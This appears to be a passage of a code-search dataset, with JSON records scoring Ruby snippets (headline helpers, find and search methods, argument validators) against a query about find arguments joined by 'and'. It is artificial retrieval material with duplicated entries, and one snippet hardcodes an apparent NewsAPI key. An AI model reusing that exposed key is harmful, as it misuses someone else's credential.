"0.586574", "text": "def headline_font\n block_for('headline_font', '\"Helvetica Neue\", Helvetica, Arial, sans-serif;')\n end", "title": "" }, { "docid": "779422a88df90a4883124bac7d9ba42a", "score": "0.58646244", "text": "def format_header_text(headlines)\n sub_title = \"Última actualización: #{ last_update }\"\n header_title = \"#{ title } (#{ site_url })\"\n headlines.unshift(header_title, sub_title)\n end", "title": "" }, { "docid": "5ec1ca672bd94dc483471cc81d1fbf9b", "score": "0.5851561", "text": "def comment_headline?\n @headline_text =~ CommentHeadlineRegexp\n end", "title": "" }, { "docid": "742b644159fc80ba130e30973211d063", "score": "0.5843434", "text": "def print_headline\n p 'Welcome to Teddit! a text based news aggregator. Get today\\'s news tomorrow!'\nend", "title": "" }, { "docid": "742b644159fc80ba130e30973211d063", "score": "0.5843434", "text": "def print_headline\n p 'Welcome to Teddit! a text based news aggregator. Get today\\'s news tomorrow!'\nend", "title": "" }, { "docid": "c5509d547ecb26d9d932efd89f4247f9", "score": "0.5838184", "text": "def h(text); end", "title": "" }, { "docid": "c5509d547ecb26d9d932efd89f4247f9", "score": "0.5838184", "text": "def h(text); end", "title": "" }, { "docid": "3b41254368e3366151cba2a098d1fe4b", "score": "0.58236337", "text": "def head(text=nil, &block)\n content_for :head, text, &block\n end", "title": "" }, { "docid": "7d94e2df7a6a9e47d2e757e1e109488b", "score": "0.5820178", "text": "def heading \n\t\tname\n\tend", "title": "" }, { "docid": "b607475ff7664e05a45e6c1442e3fbba", "score": "0.5806227", "text": "def headline name\n name = name.downcase.gsub(\" \", \"_\")\n self.headlines.reject do |k,v| \n !k.downcase.start_with?(name)\n end.values()\n end", "title": "" }, { "docid": "9d5e1f9c51e928e4ecb4a0af2022279a", "score": "0.5801996", "text": "def header_title\n \"<h1>\".html_safe + h(site_title) + \"</h1>\".html_safe\n end", "title": "" }, { "docid": "420d3a23aa0994040831c682812d0401", "score": "0.5796405", "text": "def set_recent_headline\n @recent_headline = RecentHeadline.find(params[:id])\n end", "title": "" }, { "docid": "eb0a62b6310741691bf9a485fb2bdaad", "score": "0.5794", "text": "def page_header(head)\n \t\"<header class='jumbotron subhead' id='overview'>\\\n\t\t<div class='row-fluid'>\\\n\t\t\t<div class='span12 page-header'>\\\n\t\t\t\t<h1>#{head}</h1>\\\n\t\t\t</div>\\\n\t\t</div>\\\n\t</header>\".html_safe\n end", "title": "" }, { "docid": "2e2484ebc1b51e780ef37b2604a2acac", "score": "0.5785676", "text": "def title(heading)\n\t\tcontent_tag :span, class: \"title\" do heading end\n\tend", "title": "" }, { "docid": "f07fa0679fb46ff7211a882b2d44ad47", "score": "0.57826316", "text": "def head\n ''\n end", "title": "" }, { "docid": "ee6921d997196fc2b165e03a24c368c5", "score": "0.57791996", "text": "def item_heading(options = nil)\n\n options ||= {}\n show_page = options[:show].present?\n opt = {\n format: true,\n line_break: '<br/>'.html_safe,\n title_sep: ': ',\n title_max: nil,\n title_tag: (DEF_TITLE_TAG if show_page),\n title_class: nil,\n show_title: true,\n show_subtitle: true,\n show_linked_title: true,\n author_sep: ', ',\n author_max: nil,\n author_tag: (DEF_AUTHOR_TAG if show_page),\n author_class: 'document-author',\n show_author: show_page,\n show_linked_author: show_page,\n }\n opt.merge!(options)\n\n format = opt[:format].presence\n line_break = opt[:line_break].presence\n line_break = \"\\n\" if line_break && format.nil?\n title_sep = opt[:title_sep].presence\n title_max = opt[:title_max].presence\n title_tag = opt[:title_tag].presence\n title_class = opt[:title_class].presence\n title = opt[:show_title].presence\n subtitle = opt[:show_subtitle].presence\n alt_title = opt[:show_linked_title].presence\n author_sep = opt[:author_sep].presence\n author_max = opt[:author_max].presence\n author_tag = opt[:author_tag].presence\n author_class = opt[:author_class].presence\n author = opt[:show_author].presence\n alt_author = opt[:show_linked_author].presence\n\n title &&= value_for(view_config.title_field).presence\n subtitle &&= title && value_for(view_config.subtitle_field).presence\n alt_title &&= value_for(view_config.alt_title_field).presence\n\n title_lines = []\n title_lines << alt_title\n title_lines << [title, subtitle].reject(&:blank?).join(title_sep)\n title_lines.delete_if(&:blank?).uniq!\n title_lines << title_missing if title_lines.blank?\n\n # Eliminate the configured line-oriented separator options for #value_for\n # if author_sep is not an HTML element.\n vf = {}\n if author_sep && !author_sep.html_safe?\n vf[:separator_options] = { words_connector: author_sep }\n end\n author_lines = []\n author_lines << value_for(view_config.alt_author_field, vf) if alt_author\n author_lines << value_for(view_config.author_field, vf) if author\n author_lines.delete_if(&:blank?).uniq!\n\n if format\n title_lines.map! { |line| ERB::Util.h(line) }\n title_result = title_lines.join(line_break).html_safe\n title_result = title_result.truncate(title_max) if title_max\n if (title_tag || title_class) && title_result.present?\n title_tag = DEF_TITLE_TAG if title_tag.is_a?(TrueClass)\n title_tag ||= :div\n title_opt = show_page ? { itemprop: 'name' } : {}\n title_opt[:class] = title_class if title_class\n title_result = content_tag(title_tag, title_result, title_opt)\n end\n author_lines.map! { |line| ERB::Util.h(line) }\n author_result = author_lines.join(line_break).html_safe\n author_result = author_result.truncate(author_max) if author_max\n if (author_tag || author_class) && author_result.present?\n author_tag = DEF_AUTHOR_TAG if author_tag.is_a?(TrueClass)\n author_tag ||= :div\n author_opt = {}\n author_opt[:class] = author_class if author_class\n author_result = content_tag(author_tag, author_result, author_opt)\n end\n title_result + author_result\n else\n (title_lines + author_lines).join(line_break)\n end\n\n end", "title": "" }, { "docid": "02585b0bf57a2f32c87d08b980728c80", "score": "0.5774575", "text": "def heading\n return @heading if @heading\n if heading_tag = document.at('body h1')\n @heading = HTMLEntities.new.decode(heading_tag.inner_html.strip.chomp)\n end\n end", "title": "" }, { "docid": "cc695bf343db23a3eddf7bef4ea76595", "score": "0.5771765", "text": "def heading\n return field_value(view_config.title_field) if view_config.title_field.is_a? Blacklight::Configuration::Field\n\n fields = Array.wrap(view_config.title_field) + [configuration.document_model.unique_key]\n f = fields.lazy.map { |field| field_config(field) }.detect { |field_config| field_presenter(field_config).any? }\n f ? field_value(f, except_operations: [Rendering::HelperMethod]) : \"\"\n end", "title": "" }, { "docid": "7aa1c4c3d81e40a7a994455193fec43f", "score": "0.5767041", "text": "def title\n self.tagline\n end", "title": "" }, { "docid": "0a6ad06a05a5309d863bebf0f562440d", "score": "0.5765563", "text": "def heading\n\t\tself.name\n\tend", "title": "" }, { "docid": "323085553a9feab40d02d1c2213a9ae2", "score": "0.5764698", "text": "def heading\n\t\tname\n\tend", "title": "" }, { "docid": "201c9f08a5cd5e4df03fc4581c92de70", "score": "0.57600546", "text": "def headlines\n @news_api.get_top_headlines(sources: \"TechCrunch\")\nend", "title": "" }, { "docid": "4344e23be3799bf8b92c31ebbe6ed344", "score": "0.5755824", "text": "def e_header_byline(o)\n Element.new_with_options(\n name: \"h4\",\n text: o[:byline].to_s\n )\n end", "title": "" }, { "docid": "d06551da41ec657f91fa484ae201d89e", "score": "0.57542425", "text": "def headlines\n headline = \"Rent #{name.cruftless} DVDs.\"\n headline = \"#{name.cruftless} DVDs.\" if (headline.length > AdwordsEngine::MaxTitleLen)\n headline = \"#{name.cruftless}.\" if (headline.length > AdwordsEngine::MaxTitleLen)\n return [ headline ] if headline.length < AdwordsEngine::MaxTitleLen\n \n # XYZFIX P4: try the author's name before we give up and use category \n headlines = self.categories.map(&:headlines).flatten.select{ |h| h.length <= AdwordsEngine::MaxTitleLen}\n end", "title": "" }, { "docid": "e34a0b11f03b3ccbb61884a308beb72a", "score": "0.574747", "text": "def link_name\n \"#{I18n.t :case_study}: \" + headline\n end", "title": "" }, { "docid": "655871a90fd446e72f6d95611a5c67dd", "score": "0.5745602", "text": "def header(str)\n header_box do\n register_fonts\n font('Hwkt', :size => 24) do\n text(str, :color => BROWN, :valign => :center)\n end\n end\n end", "title": "" }, { "docid": "4b82e17408de6fbf5c25688c9a8e4fff", "score": "0.5742699", "text": "def title_heading\n build_html do\n h2.title do\n span do\n page_title\n end\n end\n end\n end", "title": "" }, { "docid": "43e8028a023ec7e15c2d137e31f358ac", "score": "0.57367545", "text": "def heading(tag_type=\"h1\", attrs={}, &block)\n temp = REXML::Element.new(tag_type)\n temp.add_attributes(attrs)\n\n @div_middle.insert_after(@current, temp)\n @current = temp\n raise \"Block argument is mandatory\" unless block_given?\n text = encoding_fixer(block.call())\n @current.text = text\n document_changed()\n return @current\n end", "title": "" }, { "docid": "930df8330a0d9b341e05a754b04296e9", "score": "0.57277566", "text": "def set_featured_headline\n @featured_headline = FeaturedHeadline.find(params[:id])\n end", "title": "" }, { "docid": "7aa6aab207bc4586d4dc9c79c7d6d2d6", "score": "0.57186234", "text": "def hline\n puts \"---------------------------------------------\"\n end", "title": "" }, { "docid": "2315fe8f169883619e0586de9e1d04dc", "score": "0.57148135", "text": "def h1(text)\n content_for(:h1) { text }\n end", "title": "" }, { "docid": "b2c6d094c137ac87eaf48e459615cd78", "score": "0.57123476", "text": "def draw_header\n header = @shortcut_tab ? Vocab::SHORTCUTS : Vocab::SKILLS\n draw_text(4, 0, contents.width, line_height, header)\n end", "title": "" }, { "docid": "f00184bf0347a53c7bb2249753b4ac84", "score": "0.57049", "text": "def draw_header\n draw_text(0,0, contents.width, line_height, Vocab::ITEM_USE, Bitmap::ALIGN_CENTER)\n end", "title": "" }, { "docid": "8d928e9ea5e5f053561535968eda0022", "score": "0.57035476", "text": "def head_tag(&block)\n # The block output must be captured first\n block_output = block_given? ? capture(&block) : nil\n\n tag.head { safe_join(head_tag_contents(block_output), \"\\n\") }\n end", "title": "" }, { "docid": "6b4c08d43a898f6c46609d51d79410e8", "score": "0.56949824", "text": "def header_text\n frm.table(:class=>\"forumline\").span(:class=>\"gens\").text\n end", "title": "" }, { "docid": "6b4c08d43a898f6c46609d51d79410e8", "score": "0.56949824", "text": "def header_text\n frm.table(:class=>\"forumline\").span(:class=>\"gens\").text\n end", "title": "" }, { "docid": "d3ca1571af25bea87ab04ab7b86afe94", "score": "0.56942886", "text": "def htitle(text, level)\n \"<h#{level}>#{text}</h#{level}>\"\nend", "title": "" }, { "docid": "9d0eb335b4525b1eedebb224d3622f67", "score": "0.5685246", "text": "def has_headline? name\n name = name.downcase.gsub(\" \", \"_\")\n self.headlines.each do |k,v|\n return true if k.downcase.start_with?(name)\n end\n false\n end", "title": "" }, { "docid": "0b2183289f743f4258172252082ee318", "score": "0.5680282", "text": "def book_header(heading)\n h.content_tag :h4, :class => 'page-header' do\n model.user.decorate.avatar_image(50) + ' ' + h.link_to(model.user.full_name, h.user_path(model.user)) + ' ' + heading\n end\n end", "title": "" }, { "docid": "ed0192734cfb6f177b46fddcdfc81999", "score": "0.56791323", "text": "def title\n self.header\n end", "title": "" }, { "docid": "ed0192734cfb6f177b46fddcdfc81999", "score": "0.56791323", "text": "def title\n self.header\n end", "title": "" }, { "docid": "27fa87d2a71ba93f7b3edf69ece37999", "score": "0.5678649", "text": "def title\n heading\n end", "title": "" }, { "docid": "88712f31b259f5d0d5b5a7fb5cc55db6", "score": "0.5673389", "text": "def heading_with_title(heading, tag=:h1)\n title(heading)\n heading(heading, tag)\n end", "title": "" }, { "docid": "09d8360e3a73cb2447fa6d954ee72787", "score": "0.566296", "text": "def make_headline(old_headline, new_headline) \t\t# Passing old_headline from the outside world INTO this function!\n\tputs \"You called make_headline\"\n\tputs \"The old headline is #{old_headline}\"\n\told_headline =\"<h1>\" + old_headline + \"</h1>\"\n\tputs \"The old headine v2 is #{old_headline}\"\n\tputs \"The new headline #{new_headline}\"\nend", "title": "" }, { "docid": "6b811f62ef58b58ad5e36a25fbbc9ca2", "score": "0.5661979", "text": "def newsApiHeadlines\n\n newsApi = News.new(\"a28f25dce0fd4cdeb9513908b17f4d4c\")\n headlines = newsApi.get_top_headlines(country: 'ie')\n\n end", "title": "" }, { "docid": "0536639bc1bf20078658e21f30535f25", "score": "0.5659658", "text": "def prepend_h1\n return unless doc.first_child\n return if doc.first_child.type == :header and doc.first_child.header_level == 1\n h1 = CommonMarker.render_doc(\"# #{title}\").first_child\n doc.first_child.insert_before h1\n end", "title": "" }, { "docid": "c50ec181f4b4b445113c03fae8d37570", "score": "0.5656017", "text": "def heading\n return @heading\n end", "title": "" }, { "docid": "4e609991267fef68d04741d07d3d22d1", "score": "0.5651624", "text": "def headline_params\n params.require(:headline).permit(:content, :company, :link)\n end", "title": "" }, { "docid": "36f149f63a89b2fc290ccd52705c6bc4", "score": "0.5651268", "text": "def headline(msg)\n _, cols = console_size\n line_length = cols - (msg.size + 5)\n left = \"\\033[31m#{\"—\" * 3}\\033[0m\"\n right = \"\\033[31m#{\"—\" * line_length}\\033[0m\"\n puts \"\\n#{left} \\033[1;34m#{msg}\\033[0m #{right}\"\n end", "title": "" }, { "docid": "b9b7e8de5dafed64ac470417f5fab387", "score": "0.5648977", "text": "def heading=(value)\n @heading = value\n end", "title": "" }, { "docid": "e5765b3c7c1c84c9be5f73cfe695dfb3", "score": "0.5643076", "text": "def header_line; end", "title": "" }, { "docid": "12b2f9a47b2d56e04a684973786ee44a", "score": "0.5642742", "text": "def display_heading(text)\n puts <<~HEADING\n\n ------------------------------------------------------------------------\n #{text.upcase.center(72)}\n ------------------------------------------------------------------------\n HEADING\n end", "title": "" }, { "docid": "5e28381dca0aed47153f1c90a08ead79", "score": "0.5639248", "text": "def accept_heading heading\n use_prefix or @res << ' ' * @indent\n\n @window.attron @heading_style[heading.level] do\n @res << heading.text\n end\n\n @res << newline\n end", "title": "" } ]
634d57e4fdcea2bbcb8db2e41780470e
validates find arguments accounting for 'ands'
[ { "docid": "bf4c4b3378aae7de9a39ba9b31013925", "score": "0.6148156", "text": "def valid_args_for_find?(args)\n args.each_with_index do |a, i|\n if i % 3 == 0\n return false unless Attendee.method_defined?(a) && !args[i + 1].nil?\n end\n end\n true\n end", "title": "" } ]
[ { "docid": "589b7487df7694e9229e120a268887c4", "score": "0.6663159", "text": "def parse_find_arguments(args)\n result_args = args[0..1]\n args.each_with_index do |f, i|\n if f == \"and\"\n result_args += args[i+1..i+2]\n end\n end\n result_args\n end", "title": "" }, { "docid": "8f5cf7c2c699e5cdf1ddba01298d9a91", "score": "0.65845716", "text": "def valid_args_for_addsub?(args)\n args.first == \"find\" && valid_args_for_find?(args[1..-1])\n end", "title": "" }, { "docid": "e1edc75692cdcdecb109e3a153dfb7c8", "score": "0.65640855", "text": "def check_find_arguments arg\n return nil if not sexp? arg or node_type? arg, :lit, :string, :str, :true, :false, :nil\n\n unsafe_sql? arg\n end", "title": "" }, { "docid": "bcfa67b004b07fec00f97db6f9b4ca91", "score": "0.6470406", "text": "def find(*args); end", "title": "" }, { "docid": "bcfa67b004b07fec00f97db6f9b4ca91", "score": "0.6470406", "text": "def find(*args); end", "title": "" }, { "docid": "226626a3727287898dfe4f5975930d8a", "score": "0.6174402", "text": "def search(what, args={})\n end", "title": "" }, { "docid": "bed00ecaa768535b9a8020ad3d1e4a3b", "score": "0.6141816", "text": "def valid_find_options?\n return false if search_by.blank?\n return false if search_value.blank?\n SEARCH_BY_OPTIONS.include?(search_by.try(:to_sym)) ? true : false\n end", "title": "" }, { "docid": "1c9f14b61394a67e9994fbee567a15dc", "score": "0.611201", "text": "def find(args, mode); end", "title": "" }, { "docid": "2c046db09834fa2301e44bcbd8c2b259", "score": "0.60683286", "text": "def find_by!(arg, *args); end", "title": "" }, { "docid": "7892ef6c04442bcbbddb0a35fab4a298", "score": "0.59592927", "text": "def validate_find_options(options)\n options.assert_valid_keys([:conditions, :include, :joins, :limit, :offset,\n :order, :select, :readonly, :group, :from, :lock, :having, :scope])\n end", "title": "" }, { "docid": "201de47de7a1c6d253817d5445e0bbfc", "score": "0.5940128", "text": "def test_default_option_fail_if_more_than_two_search_option\n e = assert_raises(::ArgumentError) {\n Cat.search_option :start_with, :anywhere\n }\n end", "title": "" }, { "docid": "d51d0ccf64b00ec4e3b35d4c1f3b3fc1", "score": "0.59209305", "text": "def searchify(*args)\n fields = args.first\n options = args.extract_options!\n\n operator = options[:operator] || :and\n operator = operator.to_s.upcase\n\n str = self\n str = str.gsub(/ +/, ' ')\n str = str.gsub(\"'\", '')\n str = str.gsub(\"\\\\\", '')\n str = str.gsub(\"%\", '')\n str = str.gsub(\"/\", ' ')\n str = str.gsub(\":\", ' ')\n str = str.gsub(\"=\", ' ')\n str = str.gsub(\"?\", ' ')\n str = str.strip\n\n return '0' unless str.present?\n\n exact_words = []\n exacts = []\n regulars = []\n exact_word_excludes = []\n exact_excludes = []\n excludes = []\n\n # Check for exact excludes\n exact_excludes_matches = str.scan(/-\"(.*?)\"/)\n\n exact_excludes_matches.each do |match|\n match = match.first\n\n # Remove match from main string\n str = str.gsub(/-\"#{match}\"/, '').strip\n\n exact_excludes << match.strip\n end\n\n # Check for exact word excludes\n exact_word_excludes_matches = str.scan(/-`(.*?)`/)\n\n exact_word_excludes_matches.each do |match|\n match = match.first\n\n # Remove match from main string\n str = str.gsub(/-`#{match}`/, '').strip\n\n exact_word_excludes << match.strip\n end\n\n # Check for exact words\n exact_word_matches = str.scan(/`(.*?)`/)\n\n exact_word_matches.each do |match|\n match = match.first\n\n # Remove match from main string\n str = str.gsub(/`#{match}`/, '').strip\n\n exact_words << match.strip\n end\n\n # Check for exact searches\n exact_matches = str.scan(/\"(.*?)\"/)\n\n exact_matches.each do |match|\n match = match.first\n\n # Remove match from main string\n str = str.gsub(/\"#{match}\"/, '').strip\n\n exacts << match.strip\n end\n\n # Check for excludes with spaces after them\n exclude_matches = str.scan(/-.+? /)\n\n exclude_matches.each do |match|\n match.strip!\n match = match.gsub(/-/, '')\n\n # Remove match from main string\n str = str.gsub(/-#{match}/, '').strip\n\n excludes << match.strip\n end\n\n # Check for excludes at the end of the string\n exclude_matches = str.scan(/-.+?$/)\n\n exclude_matches.each do |match|\n match.strip!\n match = match.gsub(/-/, '')\n\n # Remove match from main string\n str = str.gsub(/-#{match}/, '').strip\n\n excludes << match.strip\n end\n\n # Check for regular searches\n regulars = str.to_arr\n\n # Build the query\n query = []\n rows = []\n cells = []\n\n # Includes\n query_includes = \"\"\n\n if exact_words.any? || exacts.any? || regulars.any?\n fields.each do |field|\n cells = []\n\n exact_words.each do |matcher|\n cells << \"(#{field} LIKE \\\"% #{matcher.remove_quotes} %\\\" OR #{field} LIKE \\\"% #{matcher.remove_quotes}.%\\\" OR #{field} LIKE \\\"% #{matcher.remove_quotes},%\\\")\"\n end\n\n [exacts, regulars].each do |matchers|\n matchers.each do |matcher|\n cells << \"#{field} LIKE \\\"%#{matcher.remove_quotes}%\\\"\"\n end\n end\n\n rows << cells.join(\" #{operator} \")\n end\n\n query_includes = rows.join(\" OR \")\n query << \"(#{query_includes})\"\n end\n\n # Excludes\n query_excludes = \"\"\n\n if exact_word_excludes.any? || exact_excludes.any? || excludes.any?\n rows = []\n cells = []\n\n fields.each do |field|\n cells = []\n\n exact_word_excludes.each do |matcher|\n cells << \"(#{field} NOT LIKE \\\"% #{matcher.remove_quotes} %\\\" OR #{field} NOT LIKE \\\"% #{matcher.remove_quotes}.%\\\" OR #{field} NOT LIKE \\\"% #{matcher.remove_quotes},%\\\")\"\n end\n\n [exact_excludes, excludes].each do |matchers|\n matchers.each do |matcher|\n cells << \"#{field} NOT LIKE \\\"%#{matcher.remove_quotes}%\\\"\"\n end\n end\n\n rows << cells.join(\" #{operator} \")\n end\n\n query_excludes = rows.join(\" AND \")\n query << \"(#{query_excludes})\"\n end\n\n return query.join(\" AND \") if query.any?\n return '0'\n end", "title": "" }, { "docid": "b823c2faaa4a3a396021916ac1ec669e", "score": "0.59203285", "text": "def validate_find_options(options) #:nodoc:\n options.assert_valid_keys(VALID_FIND_OPTIONS)\n end", "title": "" }, { "docid": "83d9f2506bb482135d6c17fb1f8efcbd", "score": "0.5841562", "text": "def where(opts)\n opts.strip! if opts.is_a?(String)\n return if opts.nil? or opts.empty?\n\n if opts.is_a?(Array) || opts.is_a?(Symbol)\n find(opts)\n elsif opts.is_a?(String) && opts.length == 2\n find_with_alpha2(opts)\n elsif opts.is_a?(String) && opts.length == 3\n find_with_alpha3(opts)\n elsif opts.is_a?(String) && opts.length > 3\n find_with_name(opts)\n elsif opts.is_a?(Numeric)\n find_with_numeric(opts)\n else\n if opts[:alpha2]\n find_with_alpha2(opts[:alpha2])\n elsif opts[:alpha3]\n find_with_alpha3(opts[:alpha3])\n elsif opts[:numeric]\n find_with_numeric(opts[:numeric])\n end\n end\n end", "title": "" }, { "docid": "ab47ad320f091a657192dd2a29823d4c", "score": "0.5841416", "text": "def find_sole_by(arg, *args); end", "title": "" }, { "docid": "965f47189fd1e4cd75ab1ff0b919d548", "score": "0.5830388", "text": "def check_arguments(word)\n raise ArgumentError.new(\"No given word\") if word.empty?\n end", "title": "" }, { "docid": "d78d08c6abb93d40dafb33020f328ac4", "score": "0.58276874", "text": "def find_by_scan(*args); end", "title": "" }, { "docid": "0886652a6677749d88edb310d9c80d2f", "score": "0.5820442", "text": "def find_by(arg, *args); end", "title": "" }, { "docid": "669288c99d71af787087d943e2288de3", "score": "0.579852", "text": "def find_some(args,options={})\n case args.first\n when ::String\n find_by_email(args,options)\n when ::Fixnum\n find_by_id(args,options)\n when nil\n find_by_struct(options)\n end\n end", "title": "" }, { "docid": "669288c99d71af787087d943e2288de3", "score": "0.579852", "text": "def find_some(args,options={})\n case args.first\n when ::String\n find_by_email(args,options)\n when ::Fixnum\n find_by_id(args,options)\n when nil\n find_by_struct(options)\n end\n end", "title": "" }, { "docid": "dd84db2c1db047eb2ce743907a2f384b", "score": "0.57439935", "text": "def find_with_searchgasm(*args)\n options = args.extract_options!\n options = sanitize_options_with_searchgasm(options)\n args << options\n find_without_searchgasm(*args)\n end", "title": "" }, { "docid": "23a5a5e6395b0708182574cad9acf65e", "score": "0.57390475", "text": "def parse_arguments(args)\n args.select { |a| a != 'and' }\n end", "title": "" }, { "docid": "b1b05d853b305f3cd948e7463a9dded2", "score": "0.5691796", "text": "def check_searching_param(searching_param, allowed)\n 🔞 = searching_param.keys.map(&:to_sym) - allowed.map(&:to_sym)\n raise InvalidSearchException, \"Attributes #{🔞.map(&:to_s).to_sentence} doesn't exists or aren't searchables. Available searchs are: #{allowed.to_sentence}\" if 🔞.any?\n end", "title": "" }, { "docid": "ddc4a50389af0e937db38b083720bbe1", "score": "0.562788", "text": "def find(args)\n nil\n end", "title": "" }, { "docid": "147485588eab60e292509a495349cd5a", "score": "0.5589578", "text": "def find(*args, &block); end", "title": "" }, { "docid": "147485588eab60e292509a495349cd5a", "score": "0.5589578", "text": "def find(*args, &block); end", "title": "" }, { "docid": "86043157677d15732cfe0558ced300eb", "score": "0.55811065", "text": "def parse_find_args(*args)\n request = args[0].kind_of?(QBFC::Request) ? args[0].dup : nil\n options = args[-1].kind_of?(Hash) ? args[-1].dup : {}\n \n # base classes will need to pass a subset of options to\n # the ChildClass.find . Also, the actually options to the\n # BaseClass.find Request cannot include owner_id.\n if is_base_class?\n base_options = options.dup \n base_options.delete(:conditions)\n options.delete(:owner_id)\n else\n base_options = nil\n end\n \n return request, options, base_options\n end", "title": "" }, { "docid": "ee6f9bbf66ba46d29678c943e026a143", "score": "0.55712456", "text": "def validate_parameters\n # asset_top_rel\n raise ArgumentError, \"Asset top must be relative, found '#{search_assets_top_rel}'\" if search_assets_top_rel.absolute?\n\n # uri_mapping\n @uri_mappings.each do |k, v|\n raise ArgumentError, \"The uri path in the uri_mapping must be absolute, found: '#{k}'\" unless k.absolute?\n raise ArgumentError, \"The file system directory path must be absolute, found: '#{v}'\" unless v.absolute?\n raise ArgumentError, \"The file system diretory does not exist: '#{v}'\" unless v.exist?\n raise ArgumentError, \"The uri_mapping must be a directory, found file: '#{v}'\" unless v.directory?\n end\n end", "title": "" }, { "docid": "156d2a8aeb55c3a0834bb11e1331f122", "score": "0.55504537", "text": "def search(param) \n end", "title": "" }, { "docid": "4eb7286274bbc4a1902fa0a25b34d20a", "score": "0.5546852", "text": "def validate_arguments\n validates_not_null :query\n validates_type String, :query\n end", "title": "" }, { "docid": "c41a8f075b76e63e8bb5a76b3ddfd598", "score": "0.55311877", "text": "def arguments_valid? \n case @arguments.length\n when 1\n %w[projects milestones users list].include?(@arguments[0]) \n when 2\n %w[show resolve new reopen].include?(@arguments[0]) \n when 3\n %w[assign new milestone].include?(@arguments[0]) \n when 4\n %w[new].include?(@arguments[0]) \n else\n false\n end \n end", "title": "" }, { "docid": "26550701592ed45d472299c6b84601d1", "score": "0.55145854", "text": "def validate_arguments\n # Total number of arguments must 3\n raise 'Incorrect number of arguments given. Expecting 3 arguments' unless ARGV.length == 3\n # Last argument must be either 'north', 'south', 'east', or 'west' (not case sensitive)\n raise 'Invalid direction given. Must be either north, south, east, or west' unless ACCEPTED_DIRECTIONS.include?(ARGV[2].downcase)\nend", "title": "" }, { "docid": "5ad3aae23031e7d9e910d562cb98a114", "score": "0.55144197", "text": "def find ; end", "title": "" }, { "docid": "93c59fd09b28b58e59411044df89feb9", "score": "0.5483818", "text": "def arguments_valid?\n true if ['most_improved', 'oaklands_slugging_in_2007', 'tripple_crown_winners_2011_2012'].any? { |i| @arguments.include?(i) }\n end", "title": "" }, { "docid": "6a4ed54eecdaaf6d32fb3c8291c3ed34", "score": "0.5475007", "text": "def test_param_option_fail_if_more_than_two_search_option\n e = assert_raises(ActiveRecord::SearchError) {\n Cat.search_cat \"Tiger\", start_with: true, anywhere: true\n }\n\n assert_equal e.message, ::ActiveRecord::SearchError.new.message\n end", "title": "" }, { "docid": "f683bd54cfbeb88f5fcc68d409e90e07", "score": "0.5416003", "text": "def search(word)\n \n end", "title": "" }, { "docid": "f683bd54cfbeb88f5fcc68d409e90e07", "score": "0.5416003", "text": "def search(word)\n \n end", "title": "" }, { "docid": "f683bd54cfbeb88f5fcc68d409e90e07", "score": "0.5416003", "text": "def search(word)\n \n end", "title": "" }, { "docid": "9d3f23b788b75167cb981a1a54a46a8b", "score": "0.5401719", "text": "def test_arg_check_3string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy', 'poopypoop']))\n end", "title": "" }, { "docid": "f29b30a63834b2b361a4c3fe1ab42d47", "score": "0.5400602", "text": "def validate_params\n\t\tif params[:provider] && !(self.respond_to? params[:provider])\n\t\t\t@error = \"Resource invalid\"\n\t\telsif !params[:search] || (params[:search] && params[:search].length < 3)\n\t\t\t@error = \"Please enter a searchword longer than 2 characters\"\n\t\tend\n\tend", "title": "" }, { "docid": "36b7166ceace5fbcb0dab784a63b040c", "score": "0.5397368", "text": "def check_keyword_arguments( args, expected_keywords, message = '*** ' )\n invalid_kw = args.keys.select { |kw| !(expected_keywords.include? kw) }\n\n fail message + \"Un argument par mot-cle (dans #{invalid_kw}) n'est pas approprie (pas dans #{expected_keywords})\" unless invalid_kw.empty?\n end", "title": "" }, { "docid": "26156053c1f73cec670b6e926e6bb954", "score": "0.5389567", "text": "def respond_to?(name, *args)\n return true if name =~ /^find_by_([a-z]+|[a-z]+_and_[a-z]+)$/\n super\n end", "title": "" }, { "docid": "78a184b824d8186836ae3b7f9c92d90f", "score": "0.5388139", "text": "def myfind (str)\n\t Form.where(\"upper(name) like ? OR upper(descr) like ?\", \"%#{str}%\", \"%#{str}%\")\n end", "title": "" }, { "docid": "6c6707b47e95bcb362d875298c044eba", "score": "0.53557897", "text": "def find(params={})\n \n end", "title": "" }, { "docid": "9f0fa4ed07069940185b3ae247d59ce9", "score": "0.5329898", "text": "def short_search(args={})\n return unless TIREFOUND\n Node.search do\n query do\n boolean do\n args.each do |key,val|\n must { term key, val }\n end\n end\n end\n end\nend", "title": "" }, { "docid": "00823d994769508e05b1bca5487f328d", "score": "0.53191906", "text": "def validate_parameters\n check_occurrence(:offset, :period) if (@repository.parameters[:offset])\n check_occurrence(:aggregate, :json) if (@repository.parameters[:aggregate])\n end", "title": "" }, { "docid": "2c0b210ef22ead794137d9a8cb13e855", "score": "0.5297604", "text": "def check_cmd(*cmds)\n cmds.each do |cmd|\n JblasConfig.log \"Searching for command #{cmd}\"\n JblasConfig.fail(\"coulnd't find command #{cmd}\") unless Path.where cmd\n end\n yield self if block_given?\n return\n end", "title": "" }, { "docid": "62057304fbc2009a66cb3be6b5703910", "score": "0.5292155", "text": "def find; end", "title": "" }, { "docid": "62057304fbc2009a66cb3be6b5703910", "score": "0.5292155", "text": "def find; end", "title": "" }, { "docid": "af9aa87d6a4f377d6395ec20f83d4313", "score": "0.5284498", "text": "def full_matches(args)\n fail 'This method need a type' if args[:type].blank?\n user_matching(:full, args[:type])\n end", "title": "" }, { "docid": "2922bb3babc91ca6ec5efd6f69dca312", "score": "0.5281507", "text": "def method_missing(name, *args, &block)\n return super unless block.nil? # we don't handle blocks right now\n return super unless args.size == 1 # only handle single arguments at the moment\n return super unless name.to_s =~ /^find_/ # we're only interested in find_* calls\n \n puts \"method_missing: #{name}(#{args})\" if FinalCutServer.debug\n puts \"#{caller}\" if FinalCutServer.debug\n puts \"-----------\" if FinalCutServer.debug\n \n # split the name up as in the following:\n # find_ancestors_by_address(x)\n # 0 1 2 3\n components = name.to_s.split('_')\n \n # figure out the various search variables\n limit = 0\n deep = true\n direction = nil\n \n # first a basic syntactic/grammatical checks\n return super unless components.size >= 4\n return super unless ['by', 'with'].include? components[2]\n \n case components[1] # find what?\n when 'ancestors'\n direction = SEARCH_PARENTS\n when 'ancestor'\n direction = SEARCH_PARENTS\n limit = 1\n when 'parents'\n direction = SEARCH_PARENTS\n deep = false\n when 'parent'\n direction = SEARCH_PARENTS\n limit = 1\n deep = false\n when 'descendants'\n direction = SEARCH_CHILDREN\n when 'descendant'\n direction = SEARCH_CHILDREN\n limit = 1\n when 'children'\n direction = SEARCH_CHILDREN\n deep = false\n when 'child'\n direction = SEARCH_CHILDREN\n deep = false\n limit 